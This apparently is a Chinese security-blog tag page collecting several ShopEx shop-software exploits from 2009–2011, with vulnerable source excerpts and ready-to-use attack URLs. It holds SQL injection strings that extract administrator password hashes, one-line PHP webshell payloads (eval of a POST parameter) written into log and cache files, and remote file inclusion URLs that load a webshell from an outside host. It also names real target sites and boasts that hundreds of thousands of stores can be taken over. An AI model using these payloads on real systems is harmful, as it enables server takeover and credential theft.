浏览模式: 标准 | 列表Tag:shopex

shopex拿shell

Submitted by admin
2011, February 16, 9:06 PM

http://www.t00ls.net/thread-14961-1-1.html

 

shopex 后台拿shell 最新

转来的,然后修改了下

http://localhost/shopadmin/index.php#ctl=system/template&act=editor&p[0]=purple&p[1]=index.php;1.html

 

 

 

themes\purple\borders

Tags: shopex

shopex 注入 0day (4.8.5)

Submitted by admin
2010, June 14, 7:27 PM

作者:俺是农村的
QQ:332876777


\core\include_v5\shopCore.php

public function shopCore( )
{
                parent::kernel( );
                if ( isset( $_POST['spgdif'] ) )
                {
                                $this->spgdif( );   //进入函数  By:俺是农村的
                                exit( );
                }
        ............................
}
public function spgdif( )
{
                include_once( CORE_DIR."/func_ext.php" );
                if ( $_POST['session'] && $_POST['query'] && $_POST['sign'] )    //没任何过滤   QQ:332876777
                {
                                if ( md5( $_POST['query'].$_POST['session']."shopex_stats" ) == $_POST['sign'] )   //MD5 验证,我们可以自己控制。
                                {
                                                $cert = $this->loadModel( "service/certificate" );
                                                if ( $data = $cert->session_vaild( $_POST['session'] ) )
                                                {
                                                                $this->fetchdata( $_POST['query'] );
                                                }
                                ..........................
public function fetchdata( $params )
{
                $params = unserialize( $params );
                $sql = "SELECT ";
                foreach ( $params['fields'] as $key => $value )
                {
                                $sql .= $value['method']."(".$value['name'].")";
                                if ( $value['alias'] )
                                {
                                                $sql .= " as ".$value['alias'];  //代入sql  By:小翔
                                }
                                $sql .= ",";
                }
                $sql = substr( $sql, 0, -1 );
                $sql .= " FROM ".$params['tbl']." ";
        ...............
                $db = $this->database( );
                ob_start( );
                $data = $db->select( $sql );
                ob_end_clean( );
                if ( $data )
                {
                                echo json_encode( array(
                                                "res" => "succ",
                                                "data" => $data   //没任何干扰,全部显示出来!(人品好了点。) By:俺是农村的
                                ) );
                }
                else
                {
                                echo json_encode( array(
                                                "res" => "fail",
                                                "data" => $sql
                                ) );
                }
}

 

 

 

 

exp在附件

附件: shopex.rar (1.68 K, 下载次数:388)

Tags: shopex

shopex 4.8.5.45144 getshell 囧版 0day

Submitted by admin
2010, June 14, 7:26 PM

by:俺是农村的
QQ:332876777

\core\include_v5\crontab.php zend加密后的,我只发布解密后的代码。

public function run( )
                {
                                $this->logFile = HOME_DIR."/logs/access.log.php";
                                $this->now = time( );
                                $this->viewStat( );
                                $messenger =& $this->loadModel( "system/messenger" );
                                $messenger->runQueue( );
                }

                public function viewStat( )
                {
                                if ( !file_exists( $this->logFile ) )
                                {
                                                file_put_contents( $this->logFile, "#<?php exit()?>\n" );   //囧之处!By:小翔
                                }
                                if ( isset( $_GET['action'] ) )
                                {
                                                error_log( $this->now."\t".$_GET['action']."\t".$_GET['p']."\n", 3, $this->logFile );//没有任何过滤,By:小翔
shopex 4.8.5.45144 getshell 0day  By:小翔
                                                 于:2010.06.09 00:40

 

 

俺是农村的,不才,不知道原理,只测试了几个站,发现linux的对php exit()不会退出,继续往下执行。于是漏洞产生了。
直接提交:http://127.0.0.1/shopex/?cron=1&action=1&p=1<?php%20eval($_POST[cmd])?>
一句话在:http://127.0.0.1/shopex/home/logs/access.log.php
哪位牛牛研究出来,为什么linux下面php exit() 不退出,麻烦你告诉我。
Tags: shopex

Shopex V4.8.4 V4.8.5 0Day 通杀+ 官方测试

Submitted by admin
2010, June 4, 8:30 AM

利用前提是程序所应用的数据库服务器,可以外连.这个很关键.

自己搞站时候.遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下.

找到一个漏洞.还是发出来吧.

 

读取任意文件漏洞:
可以连上数据库.

mysql -h1.1..1.1 -uuser -ppass

use yourbasename;

select * from sdb_operators;

得到管理员用户密码./shopadmin/ 登陆

后台拿shell,没有仔细研究.

我测试的站,直接用into outfile  一个shell.

网上有个帖子,说可以爆物理路径.测试不可用.

如果install目录没删.下面这个可以看phpinfo
 
  1. http://www.target.com/install/svinfo.php?phpinfo=true
另外/home/cache/目录的文件,也是可以爆出来的.

目前shopex 官方站,仍然存在该漏洞. 测试截图如下
 
大小: 154.42 K
尺寸: 500 x 258
浏览: 355 次
点击打开新窗口浏览全图
Tags: shopex

SHOPEX最新漏洞利用

Submitted by admin
2009, December 1, 7:30 PM

信息来源:B.S.T

漏洞平台:SHOPEX
危害程度:★★★★☆

关于ShopEx:
ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。

漏洞原理:

看这里:/shop/npsout_reply.php

include_once($INC_SYSHOMEDIR."include/PayFunction.php");
//=========================== 把商家的相关信息返回去 =======================
//接收组件的加密
$OrderInfo = $_POST['OrderMessage']; //订单加密信息
$signMsg = $_POST['Digest']; //密匙
$m_id = $_POST['m_id'];
//=========================== 开始加密 ====================================
//检查签名
$shopPayment = newclass("shopPayment");
$key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT");
$digest = md5($OrderInfo.$key);
//var_dump($_POST);
if ($digest == $signMsg)
{
//将HEX还原成字符
$OrderInfo = HexToStr($OrderInfo);
//DES解密
$recovered_message = des($key, $OrderInfo, 0, 1, null);
//echo "DES Test Decrypted: " . $recovered_message;
$orderArray = split('[|]',$recovered_message);
$m_id = $orderArray[0];
$m_orderid = $orderArray[1];
$m_oamount = $orderArray[2];
$m_ocurrency = $orderArray[3];
$m_url = $orderArray[4];
// m_txcode = array[5];
$m_language = $orderArray[5];
$s_name = $orderArray[6];
$s_addr = $orderArray[7];
$s_postcode = $orderArray[8];
$s_tel = $orderArray[9];
$s_eml = $orderArray[10];
$r_name = $orderArray[11];
$r_addr = $orderArray[12];
$r_postcode = $orderArray[13];
$r_tel = $orderArray[14];
$r_eml = $orderArray[15];
$m_ocomment = $orderArray[16];
$modate = $orderArray[17];
$Status = $orderArray[18];
if ($Status == 2)
{
$Order = newclass("Order");
$Order->shopId = $INC_SHOPID;
$Order->payid = $m_orderid;
$arr_paytime = getUnixtime(); //支付时间
$Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);

$tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号
$state = 2 ;
$strinfo = $PROG_TAGS["ptag_1334"];
}
else{
$state = 1 ;
$strinfo = $PROG_TAGS["ptag_1335"];
}
}else{
$state = 0 ;
$strinfo = $PROG_TAGS["ptag_1336"];
}

Header("Location: ./index.php?gOo=pay_reply.dwt&orderid=".$tmp_orderno."&state=".$state."&strinfo=".urlencode($strinfo));
?>

假设在 http://www.sagi.net.cn 根目录下有个include文件夹
里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)

我们用如下方法就可以利用之
http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn

简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是'npsout_reply.php'脚本对用户提交的'npsout_root_path'参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码

漏洞实战:

构造URL:
http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?
注意:
[http://www.sagi.net.cn/php.txt?] 其实并没有在 http://www.sagi.net.cn 所在的服务器上执行而是在 "http://www.xxxx.com" 上执行的。

简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码.而这个代码的主人是美国服务器.却在中国的服务器上被执行.

所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。

漏洞实验:

关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款

可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.

在目标站后面加上:

/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

就出现了远程执行php大马的画面.

如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

然后上传php大马.就可以了.

访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php


至于解决方案.官方未公布.

可以删除shop目录下的npsout_reply.php文件.

OK...

Tags: shopex

ShopEx PHP远程包含漏洞

Submitted by admin
2009, December 1, 7:28 PM

文章作者:寂寞hacker
信息来源:http://hi.baidu.com/isbx/

影响版本:4.7及以下

verifycode.php

<?php
/**
*
* 登陆验证码生成文件
*
* @package ShopEx网上商店系统
* @version 4.6
* @author ShopEx.cn <develop@shopex.cn>
* @url http://www.shopex.cn/
* @since PHP 4.3
* @copyright ShopEx.cn
*
**/
if (!defined("ISSHOP"))
{
Header("Location:../index.php");
exit;
}
/* 调用 session 文件 */
include_once($INC_SYSHOMEDIR."include/session.inc.php");

mt_srand((double)microtime() * 1000000);
/* 生成验证码 */
$strValidate = mt_rand(1000, 9999);
session_unregister("RANDOM_CODE");
session_register("RANDOM_CODE");
$_SESSION["RANDOM_CODE"] = $strValidate."";
$verifyImg = newclass("verifyCode", $strValidate);

/* 输出验证码图片 */
$verifyImg->Output();
?>

Exp: shop/verifycode.php?INC_SYSHOMEDIR=http://www.ynhacker.com/conn.txt?

Tags: shopex

ShopEx 4.7.2 漏洞

Submitted by admin
2009, December 1, 7:27 PM

ShopEx 4.7.2 漏洞
我是无名,这次写一个shopex4.7.2漏洞,

已经通知了官方,今天就发出来,

首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,

重要的是$v_id参数没有过滤

syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0x20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23直接获取管理员账号密码md5自己解,字段数不对用order by 猜,

有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了

如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述

登陆后台,接下来讲shell获取部分,(普通管理员一样利用)

分析根目录下htmlcache.php

分析代码的朋友注意了,

$url = base64_decode( $_GET['url'] );
$filename = base64_decode( $_GET['filename'] );
$signcode = $_GET['signcode'];
$verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" );
if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );

}变量 url  filename 提交的时候用base64 加密

下面几句

if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == "../" )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}$filename 不能有 ../

$verifycode 要等于$signcode

$_cvar['seoCacheTime'] 在syssite\home\shop\1\shop.cache.php有定义,默认是0

前面几个很容易就绕过去了,$_cvar['seoCacheTime'] 我在后台里一直没有找到在哪里设置,

分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60

设置seocachetime为60

好了,条件满足,开始获取shell

base64分别加密
http://你的url/test.txt 为$url变量,()
123.php         为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值

其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写http://www.baidu.com/<;?php eval($_POST[cmd]);?> base64加密就行了

加密结果

url   aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe最后提交

htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe直接在根目录生成123.php内容为一句话后门,密码cmd

喜欢分析代码的朋友如果有什么不明白的地方,或者有什么错误的地方,欢迎指正
Tags: shopex